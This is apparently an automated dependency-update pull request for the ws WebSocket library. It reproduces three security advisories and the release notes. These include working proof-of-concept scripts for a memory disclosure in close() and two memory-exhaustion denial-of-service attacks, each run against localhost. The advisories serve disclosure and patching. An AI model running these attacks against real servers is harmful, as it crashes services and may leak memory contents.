chore(deps): update dependency ws to v8.23.0 [security] #576
main fromrefs/pull/576/head·opened View on GitHubThis PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| ws | 8.20.0 → 8.23.0 |
ws: Uninitialized memory disclosure#
CVE-2026-45736 / GHSA-58qx-3vcg-4xpx
More information
Details#
Impact#
The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.
Proof of concept#
import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer(
{ port: 0, skipUTF8Validation: true },
function () {
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`, {
skipUTF8Validation: true
});
ws.on('close', function (code, reason) {
deepStrictEqual(reason, Buffer.alloc(80));
});
}
);
wss.on('connection', function (ws) {
ws.close(1000, new Float32Array(20));
});
Patches#
The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).
Credits#
Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.
Remarks#
Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.
Resources#
Severity#
- CVSS Score: 4.4 / 10 (Medium)
- Vector String:
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
References#
- https://github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx
- https://nvd.nist.gov/vuln/detail/CVE-2026-45736
- https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086
- https://github.com/advisories/GHSA-58qx-3vcg-4xpx
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
ws: Memory exhaustion DoS from tiny fragments and data chunks#
CVE-2026-48779 / GHSA-96hv-2xvq-fx4p
More information
Details#
Impact#
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
Proof of concept#
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Patches#
The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).
Workarounds#
In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
Credits#
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
Severity#
- CVSS Score: 7.5 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References#
- https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p
- https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7
- https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53
- https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94
- https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8
- https://nvd.nist.gov/vuln/detail/CVE-2026-48779
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json
- https://bugzilla.redhat.com/show_bug.cgi?id=2489661
- https://access.redhat.com/security/cve/CVE-2026-48779
- https://access.redhat.com/errata/RHSA-2026:34342
- https://access.redhat.com/errata/RHSA-2026:33574
- https://access.redhat.com/errata/RHSA-2026:33183
- https://access.redhat.com/errata/RHSA-2026:33173
- https://access.redhat.com/errata/RHSA-2026:33163
- https://access.redhat.com/errata/RHSA-2026:33160
- https://access.redhat.com/errata/RHSA-2026:33155
- https://access.redhat.com/errata/RHSA-2026:29197
- https://access.redhat.com/errata/RHSA-2026:36820
- https://access.redhat.com/errata/RHSA-2026:36754
- https://access.redhat.com/errata/RHSA-2026:37272
- https://access.redhat.com/errata/RHSA-2026:27171
- https://access.redhat.com/errata/RHSA-2026:26638
- https://github.com/advisories/GHSA-96hv-2xvq-fx4p
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
ws: Memory exhaustion DoS via unbounded automatic pong responses#
CVE-2026-140009 / GHSA-37g9-w4hg-h9qr
More information
Details#
Impact#
A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM.
Proof of concept#
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(125);
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
ws.pause();
(function ping() {
ws.ping(data, function (err) {
if (err) return;
ping();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Patches#
The vulnerability was fixed in ws@8.23.0 (https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63) and backported to ws@7.5.14 (https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe), ws@6.2.7 (https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7), and ws@5.2.8 (https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1).
Workarounds#
In vulnerable versions, the issue can be mitigated by enforcing rate-limiting combined with heartbeats, or by setting the autoPong option to false, if available.
Credits#
The vulnerability was responsibly disclosed by multiple reporters:
Severity#
- CVSS Score: 7.5 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
References#
- https://github.com/websockets/ws/security/advisories/GHSA-37g9-w4hg-h9qr
- https://nvd.nist.gov/vuln/detail/CVE-2026-140009
- https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1
- https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe
- https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7
- https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63
- https://github.com/websockets/ws/releases/tag/5.2.8
- https://github.com/websockets/ws/releases/tag/6.2.7
- https://github.com/websockets/ws/releases/tag/7.5.14
- https://github.com/websockets/ws/releases/tag/8.23.0
- https://github.com/advisories/GHSA-37g9-w4hg-h9qr
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes#
websockets/ws (ws)
v8.23.0#
Features#
- Introduced the
maxPendingAutoPongsoption (ace7248).
Bug fixes#
- Fixed a remote memory exhaustion DoS vulnerability (
ace7248).
A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM.
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(125);
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
ws.pause();
(function ping() {
ws.ping(data, function (err) {
if (err) return;
ping();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
The vulnerability was responsibly disclosed by multiple reporters:
In vulnerable versions, the issue can be mitigated by enforcing rate-limiting
combined with heartbeats, or by setting the autoPong option to false, if
available.
v8.22.2#
Bug fixes#
- The userinfo of the URL is now percent-decoded (#​2352).
- The
WebSocketconstructor no longer mutates http: or https:url.URLobjects (#​2353).
v8.22.1#
Bug fixes#
- The path of IPC URLs is no longer truncated at
:(#​2344).
Other notable changes#
http.websocketMask()andhttp.websocketUnmask()are now used instead of thebufferutilvariants when available (2ab3d3e).Sender.frame()no longer returns empty chunks (85319a7).
v8.22.0#
Features#
- Introduced the
protocolsoption (8b918b0).
Bug fixes#
- Calling
websocket.close()with invalid arguments no longer transitions the state toWebSocket.CLOSING(#​2337).
v8.21.3#
Bug fixes#
- The server now correctly rejects permessage-deflate offers if the incoming
client_max_window_bitsparameter value is smaller than its configuredclientMaxWindowBits(e97a20e).
v8.21.2#
Bug fixes#
v8.21.1#
Bug fixes#
- Empty fragments are now counted toward the limit (
a2f4e7c). - The default values of the
maxBufferedChunksandmaxFragmentsoptions have been reduced (f197ac6).
v8.21.0#
Features#
- Introduced the
maxBufferedChunksandmaxFragmentsoptions (2b2abd4).
Bug fixes#
- Fixed a remote memory exhaustion DoS vulnerability (
2b2abd4).
A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.
v8.20.1#
Bug fixes#
- Fixed an uninitialized memory disclosure issue in
websocket.close()(c0327ec).
Providing a TypedArray (e.g. Float32Array) as the reason argument for
websocket.close(), rather than the supported string or Buffer types, caused
uninitialized memory to be disclosed to the remote peer.
import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer(
{ port: 0, skipUTF8Validation: true },
function () {
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`, {
skipUTF8Validation: true
});
ws.on('close', function (code, reason) {
deepStrictEqual(reason, Buffer.alloc(80));
});
}
);
wss.on('connection', function (ws) {
ws.close(1000, new Float32Array(20));
});
The issue was privately reported by Nikita Skovoroda.
Configuration#
📅 Schedule: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
- If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.